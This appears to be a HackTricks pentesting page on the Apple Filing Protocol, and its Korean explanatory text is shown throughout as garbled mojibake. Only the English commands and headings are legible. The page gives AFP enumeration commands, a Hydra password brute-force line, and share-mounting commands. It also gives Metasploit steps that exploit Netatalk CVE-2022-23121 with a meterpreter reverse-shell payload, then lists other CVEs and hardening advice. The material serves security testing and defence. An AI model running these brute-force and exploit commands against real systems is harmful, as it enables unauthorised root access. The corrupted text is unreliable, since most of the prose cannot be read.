548 - Pentesting Apple Filing Protocol (AFP)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Apple Filing Protocol (AFP)๋ ํ๋ AppleTalk Filing Protocol๋ก ์๋ ค์ก๋ ์ ๋ฌธ ๋คํธ์ํฌ ํ๋กํ ์ฝ๋ก, Apple File Service (AFS)์ ํฌํจ๋์ด ์์ต๋๋ค. ์ด ํ๋กํ ์ฝ์ macOS ๋ฐ ํด๋์ Mac OS๋ฅผ ์ํ ํ์ผ ์๋น์ค๋ฅผ ์ ๊ณตํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. AFP๋ ์ ๋์ฝ๋ ํ์ผ ์ด๋ฆ, POSIX ์คํ์ผ ๋ฐ ACL ๊ถํ, ๋ฆฌ์์ค ํฌํฌ, ๋ช ๋ช ๋ ํ์ฅ ์์ฑ ๋ฐ ์ ๊ตํ ํ์ผ ์ ๊ธ ๋ฉ์ปค๋์ฆ์ ์ง์ํ๋ ์ ์์ ๋๋๋ฌ์ง๋๋ค.
๋น๋ก AFP๋ ํ๋ macOS ๋ฆด๋ฆฌ์ค์์ SMB์ ์ํด ๋์ฒด๋์์ง๋ง (OS X 10.9๋ถํฐ SMB๊ฐ ๊ธฐ๋ณธ๊ฐ), ์ฌ์ ํ ๋ค์๊ณผ ๊ฐ์ ํ๊ฒฝ์์ ๋ฐ๊ฒฌ๋ฉ๋๋ค:
- ๋ ๊ฑฐ์ macOS / Mac OS 9 ํ๊ฒฝ
- ์คํ ์์ค Netatalk ๋ฐ๋ชฌ์ ํฌํจํ๋ NAS ์ฅ์น (QNAP, Synology, Western Digital, TrueNASโฆ)
- Time-Machine-over-AFP๊ฐ ์ฌ์ ํ ํ์ฑํ๋ ํผํฉ OS ๋คํธ์ํฌ
๊ธฐ๋ณธ TCP ํฌํธ: 548 (TCP / DSI๋ฅผ ํตํ AFP)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Quick banner / server info
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
์ ์ฉํ AFP NSE ์คํฌ๋ฆฝํธ:
| ์คํฌ๋ฆฝํธ | ๊ธฐ๋ฅ |
|---|---|
| afp-ls | ์ฌ์ฉ ๊ฐ๋ฅํ AFP ๋ณผ๋ฅจ ๋ฐ ํ์ผ ๋ชฉ๋ก ํ์ |
| afp-brute | AFP ๋ก๊ทธ์ธ์ ๋ํ ๋น๋ฐ๋ฒํธ ๋ฌด์ฐจ๋ณ ๋์ |
| afp-serverinfo | ์๋ฒ ์ด๋ฆ, ๊ธฐ๊ณ ์ ํ, AFP ๋ฒ์ , ์ง์๋๋ UAM ๋ฑ ๋คํ |
| afp-showmount | ACL๊ณผ ํจ๊ป ๊ณต์ ๋ชฉ๋ก ํ์ |
| afp-path-vuln | ๋๋ ํฐ๋ฆฌ ํ์, CVE-2010-0533 ๊ฐ์ง(๋ฐ ์ ์ฉ ๊ฐ๋ฅ) |
NSE ๋ฌด์ฐจ๋ณ ๋์ ์คํฌ๋ฆฝํธ๋ ๋ ๋ง์ ์ ์ด๊ฐ ํ์ํ ๊ฒฝ์ฐ Hydra/Medusa์ ๊ฒฐํฉํ ์ ์์ต๋๋ค:
hydra -L users.txt -P passwords.txt afp://<IP>
๊ณต์ ์ ์ํธ์์ฉ
macOS
# Finder โ Go โ "Connect to Serverโฆ"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
๋ฆฌ๋
์ค (๋๋ถ๋ถ์ ๋ฐฐํฌํ์ ํจํค์ง๋ afpfs-ng ์ฌ์ฉ)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
ํ ๋ฒ ๋ง์ดํธ๋๋ฉด, ๊ณ ์ Mac ๋ฆฌ์์ค ํฌํฌ๋ ์จ๊ฒจ์ง ._* AppleDouble ํ์ผ๋ก ์ ์ฅ๋๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์. ์ด๋ฌํ ํ์ผ์ DFIR ๋๊ตฌ๊ฐ ๋์น๋ ํฅ๋ฏธ๋ก์ด ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ข
์ข
ํฌํจํ๊ณ ์์ต๋๋ค.
์ผ๋ฐ์ ์ธ ์ทจ์ฝ์ ๋ฐ ์ ์ฉ
Netatalk ์ธ์ฆ๋์ง ์์ RCE ์ฒด์ธ (2022)
์ฌ๋ฌ NAS ๊ณต๊ธ์
์ฒด๊ฐ Netatalk โค3.1.12๋ฅผ ๋ฐฐํฌํ์ต๋๋ค. parse_entries()์์ ๊ฒฝ๊ณ ๊ฒ์ฌ ๋ถ์กฑ์ผ๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ์
์์ ์ธ AppleDouble ํค๋๋ฅผ ์์ฑํ๊ณ ์ธ์ฆ ์ ์ ์๊ฒฉ ๋ฃจํธ๋ฅผ ์ป์ ์ ์์ต๋๋ค (CVSS 9.8 โ CVE-2022-23121). Western-Digital PR4100์ ์
์ฉํ๋ PoC์ ํจ๊ป NCC Group์ ์ ์ฒด ์์ฑ๋ฌผ์ด ์ ๊ณต๋ฉ๋๋ค.
Metasploit (>= 6.3)๋ DSI WRITE๋ฅผ ํตํด ํ์ด๋ก๋๋ฅผ ์ ๋ฌํ๋ ๋ชจ๋ exploit/linux/netatalk/parse_entries๋ฅผ ํฌํจํ๊ณ ์์ต๋๋ค.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
๋์ ์์คํ ์ด ์ํฅ์ ๋ฐ๋ QNAP/Synology ํ์จ์ด๋ฅผ ์คํํ๋ ๊ฒฝ์ฐ, ์ฑ๊ณต์ ์ธ ์ต์คํ๋ก์์ root๋ก์์ ์์ ์ ๊ณตํฉ๋๋ค.
Netatalk OpenSession ํ ์ค๋ฒํ๋ก์ฐ (2018)
๊ตฌ๋ฒ์ Netatalk (3.0.0 - 3.1.11)์ DSI OpenSession ํธ๋ค๋ฌ์์์ ๊ฒฝ๊ณ ์ด๊ณผ ์ฐ๊ธฐ์ ์ทจ์ฝํ์ฌ ์ธ์ฆ๋์ง ์์ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํฉ๋๋ค (CVE-2018-1160). Tenable Research์ ์ํด ์์ธํ ๋ถ์๊ณผ PoC๊ฐ ๋ฐํ๋์์ต๋๋ค.
๊ธฐํ ์ฃผ๋ชฉํ ๋งํ ๋ฌธ์
- CVE-2022-22995 โ AppleDouble v2๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ (3.1.0 - 3.1.17) ์์ ํ์ผ ์ฐ๊ธฐ / RCE๋ก ์ด์ด์ง๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ ๋ฆฌ๋๋ ์ .
- CVE-2010-0533 โ Apple Mac OS X 10.6 AFP์์์ ๋๋ ํ ๋ฆฌ ํ์ (
afp-path-vuln.nse์ ์ํด ํ์ง๋จ). - **Netatalk 4.x (2024)**์์ ์ฌ๋ฌ ๋ฉ๋ชจ๋ฆฌ ์์ ์ฑ ๋ฒ๊ทธ๊ฐ ์์ ๋์์ต๋๋ค โ ๊ฐ๋ณ CVE๋ฅผ ํจ์นํ๊ธฐ๋ณด๋ค๋ ์ ๊ทธ๋ ์ด๋๋ฅผ ๊ถ์ฅํฉ๋๋ค.
๋ฐฉ์ด ๊ถ์ฅ ์ฌํญ
- AFP๋ฅผ ๋นํ์ฑํ ํ์ญ์์ค. ์๊ฒฉํ ํ์ํ์ง ์์ ๊ฒฝ์ฐ โ ๋์ SMB3 ๋๋ NFS๋ฅผ ์ฌ์ฉํ์ญ์์ค.
- AFP๋ฅผ ์ ์งํด์ผ ํ๋ ๊ฒฝ์ฐ, Netatalk๋ฅผ โฅ 3.1.18 ๋๋ 4.x๋ก ์ ๊ทธ๋ ์ด๋ ํ๊ฑฐ๋ 2022/2023/2024 ํจ์น๋ฅผ ๋ฐฑํฌํธํ ๊ณต๊ธ์ ์ฒด ํ์จ์ด๋ฅผ ์ ์ฉํ์ญ์์ค.
- ๊ฐ๋ ฅํ UAM(์: DHX2)์ ์ํํ๊ณ , ํ๋ฌธ ๋ฐ ๊ฒ์คํธ ๋ก๊ทธ์ธ์ ๋นํ์ฑํํ์ญ์์ค.
- TCP 548์ ์ ๋ขฐํ ์ ์๋ ์๋ธ๋ท์ผ๋ก ์ ํํ๊ณ , ์๊ฒฉ์ผ๋ก ๋ ธ์ถ๋ ๋ AFP๋ฅผ VPN ๋ด์ ๊ฐ์ธ์ญ์์ค.
- ์ฃผ๊ธฐ์ ์ผ๋ก
nmap -p 548 --script afp-*๋ก CI/CD์์ ์ค์บํ์ฌ ๋ถ๋ฒ / ๋ค์ด๊ทธ๋ ์ด๋๋ ์ฅ๋น๋ฅผ ํ์งํ์ญ์์ค.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 โ โparse_entries์์์ ์์ ์ฝ๋ ์คํโ https://netatalk.io/security/CVE-2022-23121
- Tenable Research โ โ18๋ ๋ ๋ฒ๊ทธ ์ต์คํ๋ก์ํ๊ธฐ (CVE-2018-1160)โ https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


